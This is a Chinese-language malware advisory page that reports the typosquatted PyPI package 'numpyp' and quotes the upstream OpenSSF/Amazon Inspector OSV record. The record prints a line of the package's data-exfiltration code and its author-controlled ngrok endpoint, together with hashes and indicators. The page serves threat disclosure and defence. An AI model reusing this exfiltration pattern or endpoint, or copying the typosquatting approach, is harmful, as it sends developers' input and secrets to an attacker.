目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
PyPI active

numpyp

MAL-2026-12503
2026-08-05 12:54:17
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in numpyp (PyPI)

凭据/密钥窃取文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
—
下载量
—
数据源
pypistats.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
PyPInumpyp0.7.7
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-08-05T12:54:17Z","published":"2026-08-05T12:54:17Z","schema_version":"1.7.4","id":"MAL-2026-12503","summary":"Malicious code in numpyp (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (971ce16c4710dfddc439c30ec2fc190001171f79fcd66f718ad358a43ecdf876)\nPackage name `numpyp` is a one-character edit of `numpy` (top-1 PyPI package) and PKG-INFO advertises it as 'the simplest module for quick work with files' — bearing no relationship to numerical computing. The actual implementation in `numpyp/__init__.py` defines `BASE_URL = \"https://fantasize-handcraft-pavement.ngrok-free.dev\"` (an author-controlled ngrok free-tier tunnel) and exports `call(qst, info)` / `ans(qst_id, human)`, which unconditionally POST/GET caller-supplied content to that endpoint (e.g. `requests.post(f\"{BASE_URL}/questions\", json={\"question\": qst, \"info\": info},...)`). The destination is hardcoded with no documented configuration override, and the README does not disclose where data is sent. A developer who fat-fingers `pip install numpy` as `numpyp` and then calls the exported API will silently ship their input strings — potentially including pasted secrets, proprietary text, or exam material — to the author's home tunnel.\n","affected":[{"package":{"ecosystem":"PyPI","name":"numpyp"},"versions":["0.7.7"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"numpyp/__init__.py","sha256":"abe7cee2214f53cea8c4103636bca26f85d96be57cf5eae095ce2e40947cb80b","tlsh":"f271f05681ad69d68301f42acc08650a2e7a15ff3e9723213cbc3dac7fd6035c1656ad"}],"package_integrity":[{"filename":"numpyp-0.7.7.tar.gz","hashes":{"blake2b_256":"43dfc045209d46e2c06205b77556044b358514c724157a24596015ab6793a2ff","md5":"188100fa864e7b86e6aff72202e3dad6","sha256":"f00921577a6a04497c5a312090b5cf6b1899c8c2d61b64e5516bbd6d574fd7c6"}}]}}}],"references":[{"type":"PACKAGE","url":"https://pypi.org/project/numpyp/0.7.7/"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-014808","import_time":"2026-08-05T13:08:48.019858712Z","modified_time":"2026-08-05T12:54:17Z","sha256":"971ce16c4710dfddc439c30ec2fc190001171f79fcd66f718ad358a43ecdf876","source":"amazon-inspector","versions":["0.7.7"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0